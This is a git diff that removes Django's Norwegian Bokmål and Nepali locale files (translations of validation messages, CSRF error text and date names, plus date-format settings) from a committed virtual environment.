"“%(value)s” value must be a float." -msgstr "Verdien \"%(value)s\" må være et flyttall." - -msgid "Floating point number" -msgstr "Flyttall" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "\"%(value)s\"-verdien må være et heltall." - -msgid "Integer" -msgstr "Heltall" - -msgid "Big (8 byte) integer" -msgstr "Stort (8 byte) heltall" - -msgid "Small integer" -msgstr "Lite heltall" - -msgid "IPv4 address" -msgstr "IPv4-adresse" - -msgid "IP address" -msgstr "IP-adresse" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "Verdien \"%(value)s\" må være enten None, True eller False." - -msgid "Boolean (Either True, False or None)" -msgstr "Boolsk (True, False eller None)" - -msgid "Positive big integer" -msgstr "Positivt stort heltall" - -msgid "Positive integer" -msgstr "Positivt heltall" - -msgid "Positive small integer" -msgstr "Positivt lite heltall" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (opp til %(max_length)s)" - -msgid "Text" -msgstr "Tekst" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"\"%(value)s\"-verdien har et ugyldig format. Det må være på formen HH:MM[:" -"ss[.uuuuuu]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"Verdien \"%(value)s\" har riktig format (HH:MM[:ss[.uuuuuu]]), men er ikke " -"et gyldig klokkeslett." - -msgid "Time" -msgstr "Tid" - -msgid "URL" -msgstr "Nettadresse" - -msgid "Raw binary data" -msgstr "Rå binærdata" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "\"%(value)s\" er ikke en gyldig UUID." - -msgid "Universally unique identifier" -msgstr "Universelt unik identifikator" - -msgid "File" -msgstr "Fil" - -msgid "Image" -msgstr "Bilde" - -msgid "A JSON object" -msgstr "Et JSON-objekt" - -msgid "Value must be valid JSON." -msgstr "Verdi må være gyldig JSON." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "%(model)s-instansen med %(field)s %(value)r finnes ikke." - -msgid "Foreign Key (type determined by related field)" -msgstr "Fremmednøkkel (type bestemmes av relatert felt)" - -msgid "One-to-one relationship" -msgstr "En-til-en-relasjon" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s-relasjon" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s-relasjoner" - -msgid "Many-to-many relationship" -msgstr "Mange-til-mange-relasjon" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Feltet er påkrevet." - -msgid "Enter a whole number." -msgstr "Oppgi et heltall." - -msgid "Enter a valid date." -msgstr "Oppgi en gyldig dato." - -msgid "Enter a valid time." -msgstr "Oppgi et gyldig tidspunkt." - -msgid "Enter a valid date/time." -msgstr "Oppgi gyldig dato og tidspunkt." - -msgid "Enter a valid duration." -msgstr "Oppgi en gyldig varighet." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Antall dager må være mellom {min_days} og {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Ingen fil ble sendt. Sjekk «encoding»-typen på skjemaet." - -msgid "No file was submitted." -msgstr "Ingen fil ble sendt." - -msgid "The submitted file is empty." -msgstr "Filen er tom." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "Sørg for at filnavnet har %(max)d tegn (det har nå %(length)d)." -msgstr[1] "" -"Sørg for at filnavnet har færre enn %(max)d tegn (det har nå %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Vennligst last opp en ny fil eller marker fjern-boksen, ikke begge." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Last opp et gyldig bilde. Filen du lastet opp var ødelagt eller ikke et " -"bilde." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Velg et gyldig valg. %(value)s er ikke et av de tilgjengelige valgene." - -msgid "Enter a list of values." -msgstr "Oppgi en liste med verdier." - -msgid "Enter a complete value." -msgstr "Skriv inn en fullstendig verdi." - -msgid "Enter a valid UUID." -msgstr "Oppgi en gyldig UUID." - -msgid "Enter a valid JSON." -msgstr "Oppgi gyldig JSON." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Skjult felt %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"ManagementForm-data mangler eller har blitt tuklet med. Felt som mangler: " -"%(field_names)s. Du må muligens rapportere en bug hvis problemet vedvarer." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Vennligst send inn maks %(num)d skjema." -msgstr[1] "Vennligst send inn maks %(num)d skjemaer." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Vennligst send inn minst %(num)d skjema." -msgstr[1] "Vennligst send inn minst %(num)d skjemaer." - -msgid "Order" -msgstr "Rekkefølge" - -msgid "Delete" -msgstr "Slett" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Vennligst korriger dupliserte data for %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "Vennligst korriger dupliserte data for %(field)s, som må være unike." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Vennligst korriger dupliserte data for %(field_name)s, som må være unike for " -"%(lookup)s i %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Vennligst korriger de dupliserte verdiene nedenfor." - -msgid "The inline value did not match the parent instance." -msgstr "Inline-verdien var ikke i samsvar med foreldre-instansen." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Velg et gyldig valg. Valget er ikke av de tilgjengelige valgene." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "\"%(pk)s\" er ikke en gyldig verdi." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s kunne ikke tolkes i tidssonen %(current_timezone)s, det kan " -"være tvetydig eller ikke eksistere." - -msgid "Clear" -msgstr "Fjern" - -msgid "Currently" -msgstr "Nåværende" - -msgid "Change" -msgstr "Endre" - -msgid "Unknown" -msgstr "Ukjent" - -msgid "Yes" -msgstr "Ja" - -msgid "No" -msgstr "Nei" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "ja,nei,kanskje" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d byte" -msgstr[1] "%(size)d byte" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "midnatt" - -msgid "noon" -msgstr "12:00" - -msgid "Monday" -msgstr "mandag" - -msgid "Tuesday" -msgstr "tirsdag" - -msgid "Wednesday" -msgstr "onsdag" - -msgid "Thursday" -msgstr "torsdag" - -msgid "Friday" -msgstr "fredag" - -msgid "Saturday" -msgstr "lørdag" - -msgid "Sunday" -msgstr "søndag" - -msgid "Mon" -msgstr "man" - -msgid "Tue" -msgstr "tir" - -msgid "Wed" -msgstr "ons" - -msgid "Thu" -msgstr "tor" - -msgid "Fri" -msgstr "fre" - -msgid "Sat" -msgstr "lør" - -msgid "Sun" -msgstr "søn" - -msgid "January" -msgstr "januar" - -msgid "February" -msgstr "februar" - -msgid "March" -msgstr "mars" - -msgid "April" -msgstr "april" - -msgid "May" -msgstr "mai" - -msgid "June" -msgstr "juni" - -msgid "July" -msgstr "juli" - -msgid "August" -msgstr "august" - -msgid "September" -msgstr "september" - -msgid "October" -msgstr "oktober" - -msgid "November" -msgstr "november" - -msgid "December" -msgstr "desember" - -msgid "jan" -msgstr "jan" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "apr" - -msgid "may" -msgstr "mai" - -msgid "jun" -msgstr "jun" - -msgid "jul" -msgstr "jul" - -msgid "aug" -msgstr "aug" - -msgid "sep" -msgstr "sep" - -msgid "oct" -msgstr "okt" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "des" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "jan." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "mar." - -msgctxt "abbrev. month" -msgid "April" -msgstr "apr." - -msgctxt "abbrev. month" -msgid "May" -msgstr "mai" - -msgctxt "abbrev. month" -msgid "June" -msgstr "jun." - -msgctxt "abbrev. month" -msgid "July" -msgstr "jul." - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "aug." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "sept." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "okt." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "des." - -msgctxt "alt. month" -msgid "January" -msgstr "Januar" - -msgctxt "alt. month" -msgid "February" -msgstr "Februar" - -msgctxt "alt. month" -msgid "March" -msgstr "Mars" - -msgctxt "alt. month" -msgid "April" -msgstr "April" - -msgctxt "alt. month" -msgid "May" -msgstr "Mai" - -msgctxt "alt. month" -msgid "June" -msgstr "Juni" - -msgctxt "alt. month" -msgid "July" -msgstr "Juli" - -msgctxt "alt. month" -msgid "August" -msgstr "August" - -msgctxt "alt. month" -msgid "September" -msgstr "September" - -msgctxt "alt. month" -msgid "October" -msgstr "Oktober" - -msgctxt "alt. month" -msgid "November" -msgstr "November" - -msgctxt "alt. month" -msgid "December" -msgstr "Desember" - -msgid "This is not a valid IPv6 address." -msgstr "Dette er ikke en gyldig IPv6-adresse." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "eller" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d år" -msgstr[1] "%(num)d år" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d måned" -msgstr[1] "%(num)d måneder" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d uke" -msgstr[1] "%(num)d uker" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d dag" -msgstr[1] "%(num)d dager" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d time" -msgstr[1] "%(num)d timer" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d minutt" -msgstr[1] "%(num)d minutter" - -msgid "Forbidden" -msgstr "Forbudt" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF-verifisering feilet. Forespørsel avbrutt." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Du ser denne meldingen fordi dette HTTPS-nettstedet krever en 'Referer'-" -"header til å bli sendt av nettleseren, men ingen ble sendt. Denne headeren " -"er nødvendig av sikkerhetsmessige årsaker, for å sikre at nettleseren din " -"ikke blir kapret av tredjeparter." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Hvis du har konfigurert nettleseren din til å deaktivere 'Referer'-headers, " -"kan du aktivere dem, i hvert fall for dette nettstedet, eller for HTTPS-" -"tilkoblinger, eller for 'same-origin'-forespørsler." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Hvis du bruker -taggen eller " -"inkluderer 'Referrer-Policy: no-referrer'-header, vennligst fjern dem. CSRF-" -"beskyttelsen krever 'Referer'-headeren for å utføre streng kontroll av " -"referanser. Hvis du er bekymret for personvern, bruk alternativer som for koblinger til tredjeparts nettsteder." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Du ser denne meldingen fordi denne nettsiden krever en CSRF-cookie når du " -"sender inn skjemaer. Denne informasjonskapselen er nødvendig av " -"sikkerhetsmessige årsaker, for å sikre at nettleseren din ikke blir kapret " -"av tredjeparter." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Hvis du har konfigurert nettleseren din til å deaktivere " -"informasjonskapsler, kan du aktivere dem, i hvert fall for dette nettstedet, " -"eller for 'same-origin'-forespørsler." - -msgid "More information is available with DEBUG=True." -msgstr "Mer informasjon er tilgjengelig med DEBUG=True." - -msgid "No year specified" -msgstr "År ikke spesifisert" - -msgid "Date out of range" -msgstr "Date utenfor rekkevidde" - -msgid "No month specified" -msgstr "Måned ikke spesifisert" - -msgid "No day specified" -msgstr "Dag ikke spesifisert" - -msgid "No week specified" -msgstr "Uke ikke spesifisert" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Ingen %(verbose_name_plural)s tilgjengelig" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Fremtidig %(verbose_name_plural)s ikke tilgjengelig fordi %(class_name)s." -"allow_future er False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "Ugyldig datostreng \"%(datestr)s\" gitt formatet \"%(format)s\"" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Fant ingen %(verbose_name)s som passet spørringen" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "Siden er ikke \"last\", og kan heller ikke konverteres til et heltall." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Ugyldig side (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Tom liste og \"%(class_name)s.allow_empty\" er False." - -msgid "Directory indexes are not allowed here." -msgstr "Mappeinnhold er ikke tillatt her." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "\"%(path)s\" finnes ikke" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Innhold i %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "Installasjonen var vellykket! Gratulerer!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Se produktmerknader for Django " -"%(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Du ser denne siden fordi DEBUG=True er i din Django-innstillingsfil og du ikke " -"har konfigurert noen URL-er." - -msgid "Django Documentation" -msgstr "Django-dokumentasjon" - -msgid "Topics, references, & how-to’s" -msgstr "Temaer, referanser & how-tos" - -msgid "Tutorial: A Polling App" -msgstr "Tutorial: en polling-app" - -msgid "Get started with Django" -msgstr "Kom i gang med Django" - -msgid "Django Community" -msgstr "Django nettsamfunn" - -msgid "Connect, get help, or contribute" -msgstr "Koble, få hjelp eller bidra" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/nb/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/nb/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/nb/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/nb/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 2bc43c74..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/nb/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/nb/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/nb/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index a4d281ea..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/nb/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/nb/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/nb/formats.py deleted file mode 100644 index 0ddb8fef..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/nb/formats.py +++ /dev/null @@ -1,41 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j. F Y" -TIME_FORMAT = "H:i" -DATETIME_FORMAT = "j. F Y H:i" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j. F" -SHORT_DATE_FORMAT = "d.m.Y" -SHORT_DATETIME_FORMAT = "d.m.Y H:i" -FIRST_DAY_OF_WEEK = 1 # Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# Kept ISO formats as they are in first position -DATE_INPUT_FORMATS = [ - "%Y-%m-%d", # '2006-10-25' - "%d.%m.%Y", # '25.10.2006' - "%d.%m.%y", # '25.10.06' - # "%d. %b %Y", # '25. okt 2006' - # "%d %b %Y", # '25 okt 2006' - # "%d. %b. %Y", # '25. okt. 2006' - # "%d %b. %Y", # '25 okt. 2006' - # "%d. %B %Y", # '25. oktober 2006' - # "%d %B %Y", # '25 oktober 2006' -] -DATETIME_INPUT_FORMATS = [ - "%Y-%m-%d %H:%M:%S", # '2006-10-25 14:30:59' - "%Y-%m-%d %H:%M:%S.%f", # '2006-10-25 14:30:59.000200' - "%Y-%m-%d %H:%M", # '2006-10-25 14:30' - "%d.%m.%Y %H:%M:%S", # '25.10.2006 14:30:59' - "%d.%m.%Y %H:%M:%S.%f", # '25.10.2006 14:30:59.000200' - "%d.%m.%Y %H:%M", # '25.10.2006 14:30' - "%d.%m.%y %H:%M:%S", # '25.10.06 14:30:59' - "%d.%m.%y %H:%M:%S.%f", # '25.10.06 14:30:59.000200' - "%d.%m.%y %H:%M", # '25.10.06 14:30' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "\xa0" # non-breaking space -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ne/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/ne/LC_MESSAGES/django.mo deleted file mode 100644 index 2a10814b..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ne/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ne/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/ne/LC_MESSAGES/django.po deleted file mode 100644 index 68824663..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ne/LC_MESSAGES/django.po +++ /dev/null @@ -1,1253 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Claude Paroz , 2020 -# Jannis Leidel , 2014 -# Paras Nath Chaudhary , 2012 -# Sagar Chalise , 2011-2012,2015,2018 -# Sagar Chalise , 2015 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2020-05-19 20:23+0200\n" -"PO-Revision-Date: 2020-07-14 21:42+0000\n" -"Last-Translator: Transifex Bot <>\n" -"Language-Team: Nepali (http://www.transifex.com/django/django/language/ne/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ne\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "अफ्रिकन" - -msgid "Arabic" -msgstr "अरबिक" - -msgid "Algerian Arabic" -msgstr "" - -msgid "Asturian" -msgstr "अस्टुरियन" - -msgid "Azerbaijani" -msgstr "अजरबैजानी" - -msgid "Bulgarian" -msgstr "बुल्गेरियाली" - -msgid "Belarusian" -msgstr "बेलारुसियन" - -msgid "Bengali" -msgstr "बंगाली" - -msgid "Breton" -msgstr "ब्रेटोन" - -msgid "Bosnian" -msgstr "बोस्नियाली" - -msgid "Catalan" -msgstr "क्याटालान" - -msgid "Czech" -msgstr "चेक" - -msgid "Welsh" -msgstr "वेल्स" - -msgid "Danish" -msgstr "डेनिस" - -msgid "German" -msgstr "जर्मन" - -msgid "Lower Sorbian" -msgstr "तल्लो सोर्बियन" - -msgid "Greek" -msgstr "ग्रिक" - -msgid "English" -msgstr "अंग्रेजी" - -msgid "Australian English" -msgstr "अस्ट्रेलियाली अंग्रेजी" - -msgid "British English" -msgstr "बेलायती अंग्रेजी" - -msgid "Esperanto" -msgstr "इस्परा्न्तो" - -msgid "Spanish" -msgstr "स्पेनिस" - -msgid "Argentinian Spanish" -msgstr "अर्जेन्टिनाली स्पेनिस" - -msgid "Colombian Spanish" -msgstr "कोलम्बियाली स्पेनिस" - -msgid "Mexican Spanish" -msgstr "मेक्सिकन स्पेनिस" - -msgid "Nicaraguan Spanish" -msgstr "निकारागुँवा स्पेनिस" - -msgid "Venezuelan Spanish" -msgstr "भेनेजुएला स्पेनिस" - -msgid "Estonian" -msgstr "इस्टोनियन" - -msgid "Basque" -msgstr "बास्क" - -msgid "Persian" -msgstr "फारसी" - -msgid "Finnish" -msgstr "फिन्निस" - -msgid "French" -msgstr "फ्रान्सेली" - -msgid "Frisian" -msgstr "फ्रिसियन" - -msgid "Irish" -msgstr "आयरिस" - -msgid "Scottish Gaelic" -msgstr "स्कटीस गैलिक" - -msgid "Galician" -msgstr "ग्यलिसियन" - -msgid "Hebrew" -msgstr "हिब्रु" - -msgid "Hindi" -msgstr "हिन्दि " - -msgid "Croatian" -msgstr "क्रोषियन" - -msgid "Upper Sorbian" -msgstr "माथिल्लो सोर्बियन " - -msgid "Hungarian" -msgstr "हन्गेरियन" - -msgid "Armenian" -msgstr "अर्मेनियन" - -msgid "Interlingua" -msgstr "ईन्टरलिन्गुवा" - -msgid "Indonesian" -msgstr "इन्डोनेसियाली" - -msgid "Igbo" -msgstr "" - -msgid "Ido" -msgstr "आइडु" - -msgid "Icelandic" -msgstr "आइसल्यान्डिक" - -msgid "Italian" -msgstr "ईटालियन" - -msgid "Japanese" -msgstr "जापनिज" - -msgid "Georgian" -msgstr "जर्जीयन" - -msgid "Kabyle" -msgstr "कबायल" - -msgid "Kazakh" -msgstr "कजाक" - -msgid "Khmer" -msgstr "ख्मेर" - -msgid "Kannada" -msgstr "कन्नड" - -msgid "Korean" -msgstr "कोरियाली" - -msgid "Kyrgyz" -msgstr "" - -msgid "Luxembourgish" -msgstr "लक्जेमबर्गेली" - -msgid "Lithuanian" -msgstr "लिथुवानियाली" - -msgid "Latvian" -msgstr "लाट्भियन" - -msgid "Macedonian" -msgstr "म्यासेडोनियन" - -msgid "Malayalam" -msgstr "मलायलम" - -msgid "Mongolian" -msgstr "मंगोलियन" - -msgid "Marathi" -msgstr "मराठी" - -msgid "Burmese" -msgstr "बर्मेली" - -msgid "Norwegian Bokmål" -msgstr "नर्वे बक्मल" - -msgid "Nepali" -msgstr "नेपाली" - -msgid "Dutch" -msgstr "डच" - -msgid "Norwegian Nynorsk" -msgstr "नर्वेली न्योर्स्क" - -msgid "Ossetic" -msgstr "ओसेटिक" - -msgid "Punjabi" -msgstr "पञ्जावी" - -msgid "Polish" -msgstr "पोलिस" - -msgid "Portuguese" -msgstr "पुर्तगाली" - -msgid "Brazilian Portuguese" -msgstr "ब्राजिली पुर्तगाली" - -msgid "Romanian" -msgstr "रोमानियाली" - -msgid "Russian" -msgstr "रुसी" - -msgid "Slovak" -msgstr "सलोभाक" - -msgid "Slovenian" -msgstr "स्लोभेनियाली" - -msgid "Albanian" -msgstr "अल्बानियाली" - -msgid "Serbian" -msgstr "सर्वियाली" - -msgid "Serbian Latin" -msgstr "सर्वियाली ल्याटिन" - -msgid "Swedish" -msgstr "स्विडिस" - -msgid "Swahili" -msgstr "स्वाहिली" - -msgid "Tamil" -msgstr "तामिल" - -msgid "Telugu" -msgstr "तेलुगु" - -msgid "Tajik" -msgstr "" - -msgid "Thai" -msgstr "थाई" - -msgid "Turkmen" -msgstr "" - -msgid "Turkish" -msgstr "टर्किस" - -msgid "Tatar" -msgstr "टाटर" - -msgid "Udmurt" -msgstr "उद्मुर्ट" - -msgid "Ukrainian" -msgstr "युक्रेनि" - -msgid "Urdu" -msgstr "उर्दु" - -msgid "Uzbek" -msgstr "उज्बेक" - -msgid "Vietnamese" -msgstr "भियतनामी" - -msgid "Simplified Chinese" -msgstr "सरल चिनि" - -msgid "Traditional Chinese" -msgstr "प्राचिन चिनि" - -msgid "Messages" -msgstr "सुचनाहरु" - -msgid "Site Maps" -msgstr "साइट म्याप्स" - -msgid "Static Files" -msgstr "स्टेेटिक फाइलहरु" - -msgid "Syndication" -msgstr "सिन्डिकेसन" - -msgid "That page number is not an integer" -msgstr "पृष्ठ नं अंक होइन ।" - -msgid "That page number is less than 1" -msgstr "पृष्ठ नं १ भन्दा कम भयो ।" - -msgid "That page contains no results" -msgstr "पृष्ठमा नतिजा छैन ।" - -msgid "Enter a valid value." -msgstr "उपयुक्त मान राख्नुहोस ।" - -msgid "Enter a valid URL." -msgstr "उपयुक्त URL राख्नुहोस ।" - -msgid "Enter a valid integer." -msgstr "उपयुक्त अंक राख्नुहोस ।" - -msgid "Enter a valid email address." -msgstr "सही ई-मेल ठेगाना राख्नु होस ।" - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "उपयुक्त IPv4 ठेगाना राख्नुहोस" - -msgid "Enter a valid IPv6 address." -msgstr "उपयुक्त IPv6 ठेगाना राख्नुहोस ।" - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "उपयुक्त IPv4 वा IPv6 ठेगाना राख्नुहोस ।" - -msgid "Enter only digits separated by commas." -msgstr "कम्मा सहितका वर्ण मात्र राख्नुहोस ।" - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "यो मान %(limit_value)s छ भन्ने निश्चित गर्नुहोस । (यो %(show_value)s हो ।)" - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "यो मान %(limit_value)s भन्दा कम अथवा बराबर छ भन्ने निश्चित गर्नुहोस ।" - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "यो मान %(limit_value)s भन्दा बढी अथवा बराबर छ भन्ने निशचित गर्नुहोस ।" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"यो मान कम्तिमा पनि %(limit_value)d अक्षर छ भन्ने निश्चित गर्नुहोस । (यसमा " -"%(show_value)d छ ।)" -msgstr[1] "" -"यो मान कम्तिमा पनि %(limit_value)d अक्षरहरु छ भन्ने निश्चित गर्नुहोस । (यसमा " -"%(show_value)d छ ।)" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"यो मान बढिमा पनि %(limit_value)d अक्षर छ भन्ने निश्चित गर्नुहोस । (यसमा " -"%(show_value)d छ ।)" -msgstr[1] "" -"यो मान बढिमा पनि %(limit_value)d अक्षरहरु छ भन्ने निश्चित गर्नुहोस । (यसमा " -"%(show_value)d छ ।)" - -msgid "Enter a number." -msgstr "संख्या राख्नुहोस ।" - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "जम्मा %(max)s भन्दा बढी अक्षर नभएको निश्चित पार्नु होस ।" -msgstr[1] "जम्मा %(max)s भन्दा बढी अक्षरहरु नभएको निश्चित पार्नु होस ।" - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "दशमलव पछि %(max)s भन्दा बढी अक्षर नभएको निश्चित पार्नु होस ।" -msgstr[1] "दशमलव पछि %(max)s भन्दा बढी अक्षरहरु नभएको निश्चित पार्नु होस ।" - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "दशमलव अघि %(max)s भन्दा बढी अक्षर नभएको निश्चित पार्नु होस ।" -msgstr[1] "दशमलव अघि %(max)s 